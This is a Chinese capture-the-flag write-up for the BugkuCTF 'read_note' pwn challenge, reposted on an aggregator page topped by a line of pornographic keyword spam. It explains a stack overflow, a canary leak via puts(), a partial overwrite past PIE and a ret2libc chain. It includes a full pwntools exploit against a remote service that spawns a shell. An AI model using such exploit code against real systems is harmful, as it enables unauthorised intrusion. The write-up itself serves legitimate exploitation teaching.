日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

BugkuCTF-PWN题pwn3-read_note超详细讲解

發(fā)布時(shí)間:2024/9/27 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BugkuCTF-PWN题pwn3-read_note超详细讲解 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

知識(shí)點(diǎn)

puts()的特性 , puts()會(huì)一直輸出某地址的數(shù)據(jù),直到遇到 \x00

Canary最低位為\x00(截?cái)喾?

\x 和 0x 的區(qū)別:
區(qū)別不大,都是把數(shù)按16進(jìn)制輸出。
1、0x 表示整型數(shù)值 (十六進(jìn)制)
char c = 0x42; 表示的是一個(gè)數(shù)值(字母B的ASCII碼66),可以認(rèn)為等價(jià)于: int c = 0x42;
2、\x42用于字符表達(dá),或者字符串表達(dá)
char c = ‘\x42’; 亦等價(jià)于: char c = 0x42;
char* s = “\x41\x42”; //表示字符串:AB

程序編譯的時(shí)候入口并不是main函數(shù),而是start代碼段。事實(shí)上,start代碼段還會(huì)調(diào)用__libc_start_main來(lái)做一些初始化工作,最后調(diào)用main函數(shù)并在main函數(shù)結(jié)束后做一些處理。

解題流程

先運(yùn)行一下看看
一開(kāi)始會(huì)讓你輸入一個(gè)路徑,不存在的話就會(huì)報(bào)錯(cuò)退出,然后打印出文件內(nèi)容,然后分別輸入note的長(zhǎng)度和內(nèi)容,輸入內(nèi)容的長(zhǎng)度取決于之前的note長(zhǎng)度;如果實(shí)際輸入的長(zhǎng)度不是624,則再輸入一遍

查看保護(hù)機(jī)制

發(fā)現(xiàn)除了RELRO,其他保護(hù)機(jī)制全開(kāi)

此題難點(diǎn):

第一要讀懂題目找出漏洞
第二是要繞過(guò)各類保護(hù)機(jī)制
第三是exp的編寫(xiě)調(diào)試。

第一要讀懂題目找出漏洞

首先分析程序,重要部分如下所示。一開(kāi)始會(huì)讓你輸入一個(gè)路徑,不存在的話就會(huì)報(bào)錯(cuò)退出,然后打印出文件內(nèi)容;以上均可以忽略,沒(méi)有任何用處。然后分別輸入note的長(zhǎng)度和內(nèi)容,輸入內(nèi)容的長(zhǎng)度取決于之前的note長(zhǎng)度;如果實(shí)際輸入的長(zhǎng)度不是624,則再輸入一遍,此時(shí)輸入內(nèi)容的長(zhǎng)度變?yōu)?x270(624)。可以發(fā)現(xiàn),v4的長(zhǎng)度為0x258(600),而輸入的長(zhǎng)度可以任意控制,因此存在棧溢出。

第二是要繞過(guò)各類保護(hù)機(jī)制

確定了漏洞所在,下一個(gè)問(wèn)題就是如何繞過(guò)NX、Canary、PIE和ASLR等保護(hù)機(jī)制了,下面一個(gè)個(gè)來(lái)說(shuō)。
1.NX很簡(jiǎn)單,ROP即可。

2.Canary會(huì)很大程度上妨礙棧溢出,但結(jié)合本題的環(huán)境,輸入一次后緊接著一個(gè)puts函數(shù)將輸入內(nèi)容打印出來(lái),然后還有一次輸入的機(jī)會(huì),因此可以在第一次輸入時(shí),通過(guò)覆蓋Canary最低位的\x00為其他值(Canary最低位肯定為\x00,而puts()會(huì)一直輸出直到碰見(jiàn)\x00位置),讓puts()泄露出Canary的內(nèi)容,第二次輸入時(shí)再將正確的Canary寫(xiě)回去,就可以繞過(guò)Canary的保護(hù)了。

3.PIE會(huì)讓程序加載的基地址隨機(jī)化,但是隨機(jī)化并不完全,最低三位是不會(huì)改變的,可以利用這個(gè)特性,通過(guò)覆蓋最低的兩位來(lái)有限的修改程序控制流,然后再泄露出程序加載地址。

4.至于ASLR,利用ret2libc的方法,泄露出libc的版本,就可以算出system等函數(shù)的地址然后get shell了。

第三是exp的編寫(xiě)調(diào)試

通過(guò)以上的分析,由于需要泄露三個(gè)內(nèi)容,因此main函數(shù)需要執(zhí)行四次,每次執(zhí)行都會(huì)有兩次輸入,每次執(zhí)行的工作分別如下:

第一次執(zhí)行

需要在填滿v4的長(zhǎng)度600后,再溢出兩個(gè)十六進(jìn)制位(64位計(jì)算機(jī)一個(gè)地址是8個(gè)字節(jié)),覆蓋Canary的最低位,然后將Canary打印出來(lái);再次輸入時(shí),將正確的Canary放在原來(lái)的位置,然后溢出棧上返回地址的低兩位為\x20。為什么是\x20,是因?yàn)閺膇da里可以發(fā)現(xiàn),vul函數(shù)最后retn的地址為0xd1f,main函數(shù)的起始地址是0xd20,前面的偏移都是相同的,因此可以通過(guò)這類方法繞過(guò)PIE再跳回main。


如圖D2E為main的返回地址

第二次執(zhí)行

在填滿600的基礎(chǔ)上,需要再多溢出兩個(gè)地址位數(shù)(64位計(jì)算機(jī)一個(gè)地址是8個(gè)字節(jié)),也就是616。從棧分布可以看出,v4之后是Canary(0x7fffffffde88處),然后再填充一個(gè)地址位,就可以輸出main+14的真實(shí)地址,也就可以得到程序加載的地址。之后使用跟之前同樣的方法,再次回到main函數(shù)的起始位置。

第三次執(zhí)行

要溢出的就是__libc_start_main的真實(shí)地址了,作為main函數(shù)的返回地址,從上圖可以看出,可以從棧上泄露__libc_start_main+240的地址,依次利用LibcSearcher算出libc版本,然后得到system地址和/bin/sh字符串的地址。此時(shí)已經(jīng)具備了get shell的條件,但由于第二次輸入的長(zhǎng)度所限,因此還要再跳回main函數(shù),再次執(zhí)行程序。

第四次執(zhí)行

將payload拼接好,然后發(fā)給程序了。由于是64位,傳參需要rdi。通過(guò)ROPgadget搜索程序二進(jìn)制,發(fā)現(xiàn)存在pop rdi;ret;的gadget,將其偏移再加上第二步得到的程序加載基地址,就可以得到gadget的真實(shí)地址,至此,payload拼接完成,可以拿到shell了。

exp:

from pwn import * from LibcSearcher import * #sh = process('./file/read_note') #本地調(diào)試 sh = remote('114.116.54.89',10000) #context.log_level = 'debug'pop_rdi_ret = 0x0000000000000e03 #----------------------------------------------------------------------------------------------------------- #第一次 log.info('first time') sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才發(fā)送~/Desktop + \n sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:') #直到接收到please input the note:為止payload1 = 'a'*600 sh.sendline(payload1) #發(fā)送一行數(shù)據(jù),相當(dāng)于在末尾加\n sh.recvuntil('a'*600) #直到接收到600個(gè)a為止 #繞過(guò)canary方法一: canary = u64(sh.recv(8))-0xa log.info('Canary: '+hex(canary))#繞過(guò)canary方法二: #canary1=u64(b'\x00'+sh.recv(7))#繞過(guò)canary方法三: #canary2 = u64(sh.recv(7).rjust(8,b'\x00'))sh.recvuntil('so please input note(len is 624)') #直到接收到so please input note(len is 624)為止payload1 = b'a'*600 + p64(canary) + p64(1) + b'\x20' print(payload1) sh.send(payload1) #----------------------------------------------------------------------------------------------------------- #第二次 log.info('second time') sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才發(fā)送~/Desktop + \n sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:') #直到接收到please input the note:為止payload2 = 'a'*616 sh.send(payload2) #發(fā)送payload2里的數(shù)據(jù) sh.recvuntil('a'*616) #直到接收到616個(gè)a為止 main_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 0xe #D2E為main的返回地址 log.info('main_addr: ' + str(hex(main_addr)))base = main_addr - 0xd20 pop_rdi_ret_addr = base + pop_rdi_ret log.info('base addr:'+str(hex(base)))payload2 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) sh.send(payload2)#----------------------------------------------------------------------------------------------------------- #第三次 log.info('third time') sh.sendlineafter('Please input the note path:', 'flag') sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:')elf = ELF('./file/read_note') #ELF模塊用于獲取ELF文件的信息,通過(guò)ELF()獲取這個(gè)文件的句柄,然后通過(guò)這個(gè)句柄調(diào)用plt函數(shù)獲取PLT的地址 start_plt = elf.plt['__libc_start_main'] print("start_plt: " + hex(start_plt))payload3 = 'a'*648 sh.send(payload3) sh.recvuntil('a'*648) libc_start_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 240 log.info('__libc_start_main:'+str(hex(libc_start_addr)))libc = LibcSearcher('__libc_start_main', libc_start_addr) log.info('libc: ' + str(libc)) libc_base = libc_start_addr - libc.dump('__libc_start_main')#libc.dump(“xxx”) 可以計(jì)算出xxx的偏移地址,再libc_start_addr減去偏移地址就得到了libc_base的基址 log.info('libc_base: ' + str(libc_base)) system_addr = libc_base + libc.dump('system')#通過(guò)基址加system的偏移,得到system的實(shí)際地址 log.info('system_addr' + str(system_addr)) binsh_addr = libc_base + libc.dump('str_bin_sh')#通過(guò)基址加/bin/sh字符串的偏移,得到/bin/sh的實(shí)際地址 log.info('binsh_addr: ' + str(binsh_addr))payload3 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr) sh.send(payload3)#----------------------------------------------------------------------------------------------------------- #最后一次 log.info('fourth time') sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才發(fā)送~/Desktop + \n sh.sendlineafter('please input the note len:', '1000') sh.recvuntil('please input the note:')payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) sh.send(payload4) sh.recvuntil('so please input note(len is 624)') sh.send(payload4) sh.interactive()

運(yùn)行結(jié)果




由于本題有bug,建立連接后直接輸入flag,出現(xiàn)flag

總結(jié)

以上是生活随笔為你收集整理的BugkuCTF-PWN题pwn3-read_note超详细讲解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。